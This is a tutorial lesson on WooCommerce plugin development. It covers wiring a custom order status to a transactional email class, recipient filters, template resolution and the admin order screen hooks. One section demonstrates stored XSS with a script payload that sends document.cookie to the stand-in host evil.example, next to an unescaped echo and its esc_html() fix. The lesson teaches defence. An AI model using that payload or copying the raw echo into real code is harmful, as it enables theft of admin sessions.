Orders and communication
Transactional Email and Admin Order Screens
A custom status sends no mail until you subscribe an email class to it. Then the admin order screen will happily print a customer's input into your browser.
An extension adds a "Packed" status and a custom email class to go with it. The status works, the customer gets no email, and nothing appears in the WooCommerce log or in the PHP error log. There is no exception to catch, because nothing threw. The class was never subscribed to the action that would have triggered it.
WooCommerce's transactional email is a subscription list, not a broadcast. A status change fires a set of hooks, and a fixed list of hook names is attached to a generic dispatcher that instantiates the mailer and hands off to any email class that listened. A custom status is not in that list until an extension puts it there, and the failure is silence. The second half of this lesson is the other side of the same coin: the admin order screen gives extensions a place to render order data, hands them an order object that contains customer input, and does not escape what they print.
WC_Emails is built on init, and the class map is filterable
WC_Emails::init_transactional_emails() is attached to the
init action from the WooCommerce bootstrap. It reads a list of action names
through the woocommerce_email_actions filter, and attaches either
send_transactional_email or, when the deferred emails feature is on,
queue_transactional_email to each of them.
The class map is a second list, built in WC_Emails::init() from a hard
coded array of class names to file paths, and passed through the
woocommerce_email_classes filter. Each entry is instantiated, and the
instances are what the settings screens, the mailer and the _notification
dispatch all work from.
<?php
add_filter(
'woocommerce_email_classes',
function ( $emails ) {
$emails['WC_Email_Sifero_Packed'] = new WC_Email_Sifero_Packed();
return $emails;
}
);
Wrap the class definition so it loads when the filter runs, or register the filter
from a file that requires the class inside the callback. WC_Email is not
loaded when a plugin file is included, so a class that extends it at file scope fatals
before WooCommerce has had a chance to define it.
The class name in that array is the key WooCommerce uses in the settings list. The
$id property set in the constructor is the key everything else uses: the
option name is woocommerce_{$id}_settings, the recipient filter is suffixed
with it, and the enable toggle is woocommerce_email_enabled_{$id}.
The trigger path has a _notification hop that extensions have to subscribe to
Follow one status change through to a delivered message. The order moves to
completed, which fires woocommerce_order_status_completed. That
name is in the woocommerce_email_actions list, so the dispatcher attached to
it runs, instantiates the mailer, and fires one more action whose name is the current
filter with _notification appended:
woocommerce_order_status_completed_notification. The email class subscribed
to that name, and its trigger() method runs.
woocommerce_order_status_completed
-> WC_Emails::send_transactional_email()
-> woocommerce_order_status_completed_notification
-> WC_Email_Customer_Completed_Order::trigger()
-> send_notification()
-> wp_mail()
That extra hop is the whole reason a custom status sends nothing. A new status
produces woocommerce_order_status_sifero-packed, a name no dispatcher is
attached to, so nothing downstream of it ever runs. The extension has to add the name to
the list, and the email class has to subscribe to the suffixed form.
<?php
add_filter(
'woocommerce_email_actions',
function ( $actions ) {
$actions[] = 'woocommerce_order_status_sifero-packed';
return $actions;
}
);
// Inside the WC_Email subclass constructor.
add_action( 'woocommerce_order_status_sifero-packed_notification', array( $this, 'trigger' ), 10, 2 );
The trigger() method follows one of two shapes, and which one you pick
decides whether the store's enable toggle is respected. send_notification()
checks is_enabled() and the recipient before sending, and fires
woocommerce_email_disabled or woocommerce_email_skipped when it
returns without sending. Calling send() directly bypasses both checks. Use
the first for anything a customer can switch off; the second is for manually triggered
mail such as a resent invoice.
<?php
public function trigger( $order_id, $order = false ) {
$this->setup_locale();
if ( $order_id && ! is_a( $order, 'WC_Order' ) ) {
$order = wc_get_order( $order_id );
}
if ( is_a( $order, 'WC_Order' ) ) {
$this->object = $order;
$this->recipient = $this->object->get_billing_email();
$this->placeholders['{order_number}'] = $this->object->get_order_number();
}
$this->send_notification();
$this->restore_locale();
}
Deferred transactional email is a feature flag, off by default in 11.2, so on a default store the mail is sent inside the request that changed the status. That matters for where you put slow work: a remote call inside your trigger delays the admin's page load, not a queue worker's.
The recipient filter is the cleanest place to reroute a message
WC_Email::get_recipient() applies
woocommerce_email_recipient_{$this->id} to the recipient address, with the
related object and the email instance as the second and third arguments, then splits on
commas and drops anything that is not a valid address. WooCommerce itself uses the same
filter for its stock emails, which is the pattern to copy.
<?php
add_filter(
'woocommerce_email_recipient_sifero_packed',
function ( $recipient, $order, $email ) {
if ( $order instanceof WC_Order && $order->get_meta( '_sifero_pickup_store' ) ) {
return 'counter@example.com';
}
return $recipient;
},
10,
3
);
Two details worth having. The third argument is the WC_Email instance,
which is how one callback can serve several emails if you accept the whole family of
filter names. The second argument is $this->object, which is an order for
order emails and a product or an array for the stock emails, so guard the type before
calling get_meta() on it. And the filter runs inside
get_recipient(), which send_notification() only reaches after
the enable check passes, so a disabled email never reaches your callback.
Templates resolve theme first, and the default path is per email class
An email class declares two template names, template_html and
template_plain. Core's completed order email uses
emails/customer-completed-order.php and
emails/plain/customer-completed-order.php, and those files live in
woocommerce/templates/. When the email renders, it calls
wc_get_template_html(), which goes through
wc_locate_template().
The resolution order is the part worth memorising: the theme's
woocommerce/ directory first, then the theme root, then the default path.
The theme path comes from WC()->template_path(), which is
woocommerce/ and filterable through
woocommerce_template_path. A file at
wp-content/themes/your-theme/woocommerce/emails/customer-completed-order.php
wins over the core copy, and that is true for a custom email class as well.
The default path is where a custom email needs one line of care. Core's email classes
leave $template_base null and the parent constructor sets it to
WC()->plugin_path() . '/templates/'. An extension's templates are not
there, so set $template_base in the constructor and pass it as the fourth
argument of wc_get_template_html():
<?php
$this->template_html = 'emails/customer-packed-order.php';
$this->template_base = plugin_dir_path( __FILE__ ) . 'templates/';
// In get_content_html().
return wc_get_template_html(
$this->template_html,
array(
'order' => $this->object,
'email_heading' => $this->get_heading(),
'additional_content' => $this->get_additional_content(),
'sent_to_admin' => false,
'plain_text' => false,
'email' => $this,
),
'',
$this->template_base
);
The template itself is ordinary PHP that receives those variables and calls
do_action( 'woocommerce_email_header', $email_heading, $email ),
woocommerce_email_order_details, woocommerce_email_customer_details
and woocommerce_email_footer. Rendering those hooks rather than hard coding
the header and the order table is what keeps the message looking like the rest of the
store's mail, and it is what other extensions hook into when they add a field to every
email.
The theme override path is the same for both
Resolution checks the theme before the default path, so an override for a custom
email goes in woocommerce/emails/customer-packed-order.php inside the
theme, not in a directory next to the plugin. The default path only decides which copy
is used when the theme does not have one.
The admin order screen prints what your hook echoes, unescaped
WooCommerce renders the order edit screen from meta boxes, and the order data box
gives extensions five places to add markup. They all receive the WC_Order
object and they all print whatever the callback outputs into the page.
| Hook | Where the output lands |
|---|---|
woocommerce_admin_order_data_after_payment_info |
Under the order number and status, above the three columns. |
woocommerce_admin_order_data_after_order_details |
At the bottom of the General column. |
woocommerce_admin_order_data_after_billing_address |
At the bottom of the Billing column, under the address and payment method fields. |
woocommerce_admin_order_data_after_shipping_address |
At the bottom of the Shipping column. |
woocommerce_admin_order_data_header_right |
Right side of the order data header. |
The billing hook is the one people reach for, because it sits next to the address and
looks like a labelled field. It is also the dangerous one. Order meta can come from a
checkout field, which means from a customer, and a hook that echoes it is a stored-XSS
path into an admin session. I rendered the order data meta box with one order and one
payload, first with a raw echo and then with esc_html():
<?php
$payload = '<script>fetch("https://evil.example/steal?c="+document.cookie)</script>';
$order->update_meta_data( '_sifero_vat', $payload );
$order->save();
// The stored-XSS version.
add_action(
'woocommerce_admin_order_data_after_billing_address',
function ( $order ) {
echo '<p><strong>VAT number:</strong> ' . $order->get_meta( '_sifero_vat' ) . '</p>';
}
);
-- the raw echo, which is the stored-XSS path --
Array
(
[0] => <script>fetch("https://evil.example/steal?c="+document.cookie)</script>
)
-- the same hook with esc_html() --
Array
(
[0] => (no script tag in the billing column)
)
The script tag survived into the rendered billing column. Every subsequent visit to that order's edit screen by a logged-in user with the capability to see it executes the payload in their session, and the payload was written by a customer at checkout. The fix costs one function call, and the reason to use the order screen's own rendering helpers rather than string concatenation is that they escape for you.
<?php
add_action(
'woocommerce_admin_order_data_after_billing_address',
function ( $order ) {
printf(
'<p><strong>%s</strong> %s</p>',
esc_html__( 'VAT number', 'sifero' ),
esc_html( (string) $order->get_meta( '_sifero_vat' ) )
);
}
);
WooCommerce 11.2 has two order screens, and they are worth knowing apart. A store on
the posts-based data store edits orders at
wp-admin/post.php?post=ID&action=edit. A store on the custom order tables
edits them at wp-admin/admin.php?page=wc-orders&action=edit&id=ID.
Both register the same WC_Meta_Box_Order_Data::output callback
(src/Internal/Admin/Orders/Edit.php for the HPOS screen), so the hooks above
fire on both and a hook written for one keeps working on the other. What differs is
around them: the list table, the screen id, and the capability checks. If your hook
enqueues a script or registers a screen option, it needs the screen id, and there are
two of those.
Build the packed-status email end to end, then prove each link in the chain rather than trusting it.
- Write a plugin that registers the
sifero-packedstatus and aWC_Email_Sifero_Packedclass with your own templates under the plugin'stemplates/directory. - Add
woocommerce_order_status_sifero-packedtowoocommerce_email_actionsand subscribe the class to the_notificationform. - Stop the mail from leaving the machine with a
pre_wp_mailfilter that captures the arguments and returnstrue, then move an order into the status and print the recipient, the subject and whether the body contains your template's sentence. - Add a
woocommerce_email_recipient_sifero_packedfilter that sends the message to a different address, and print the captured recipient again. - Disable the email with
woocommerce_email_enabled_sifero_packed, trigger the transition again, and print how many messages were captured. - Move your HTML template into the active theme at
woocommerce/emails/customer-packed-order.php, change its sentence, and printwc_locate_template()'s answer to show which file won.
Then answer in one sentence each: why the first version of this plugin sent nothing, and which of the five admin order screen hooks you would use for a field that must be visible next to the billing address.
Show the solution and the reasoning
The class is the longest part, and most of it is the parent constructor's
requirements. This is the version from my test store, trimmed of the settings screen
plumbing that WC_Email supplies anyway.
<?php
class WC_Email_Sifero_Packed extends WC_Email {
public function __construct() {
$this->id = 'sifero_packed';
$this->customer_email = true;
$this->title = 'Packed order';
$this->description = 'Tells the customer their order is packed and waiting.';
$this->template_html = 'emails/customer-packed-order.php';
$this->template_plain = 'emails/plain/customer-packed-order.php';
$this->template_base = plugin_dir_path( __FILE__ ) . 'templates/';
$this->placeholders = array(
'{order_date}' => '',
'{order_number}' => '',
);
add_action( 'woocommerce_order_status_sifero-packed_notification', array( $this, 'trigger' ), 10, 2 );
parent::__construct();
}
public function trigger( $order_id, $order = false ) {
$this->setup_locale();
if ( $order_id && ! is_a( $order, 'WC_Order' ) ) {
$order = wc_get_order( $order_id );
}
if ( is_a( $order, 'WC_Order' ) ) {
$this->object = $order;
$this->recipient = $this->object->get_billing_email();
$this->placeholders['{order_number}'] = $this->object->get_order_number();
}
$this->send_notification();
$this->restore_locale();
}
public function get_default_subject() {
return 'Order {order_number} is packed';
}
public function get_default_heading() {
return 'Your order is packed';
}
public function get_content_html() {
return wc_get_template_html(
$this->template_html,
array(
'order' => $this->object,
'email_heading' => $this->get_heading(),
'additional_content' => $this->get_additional_content(),
'sent_to_admin' => false,
'plain_text' => false,
'email' => $this,
),
'',
$this->template_base
);
}
}
On my test store the captured message read
to=counter@example.com with the subject Order 16 is packed
and the body contained the template's sentence and the order number. Before the
recipient filter existed, the same capture showed the customer's address, which is the
quickest way to prove the filter is doing something.
The disabled-email check is the one people skip and then argue about. With
woocommerce_email_enabled_sifero_packed returning false, the capture count
is zero, because send_notification() returns before it ever calls
get_recipient(). An extension that calls send() directly in
its trigger ignores that switch and mails the customer anyway, which is exactly the
kind of surprise that gets a plugin uninstalled.
For the template question, the answer on my store was the plugin's own file at
/tmp/woo-m4-lab/sifero-email/sifero-templates/emails/customer-packed-order.php,
because no theme override existed. The path that a theme override would take is
reported by get_theme_template_file(), and it pointed at
wp-content/themes/twentytwentyfive/woocommerce/emails/customer-packed-order.php.
Dropping the file there wins on the next request, and
wc_locate_template() confirms it, which is worth doing once so you can
explain the rule to a theme developer who expects their copy to be ignored.
Two limits. The recipient filter can only reroute a message the class decided to send; it cannot make a disabled email send. And the admin order screen hooks print markup into an existing layout, so anything wider than the column it lands in breaks the screen's grid rather than failing loudly. Both are reasons to test these changes on the real admin screen rather than in a render harness.
Official reference
The WordPress developer reference for what this lesson uses.
Progress
Mark this lesson done and it stays marked in this browser.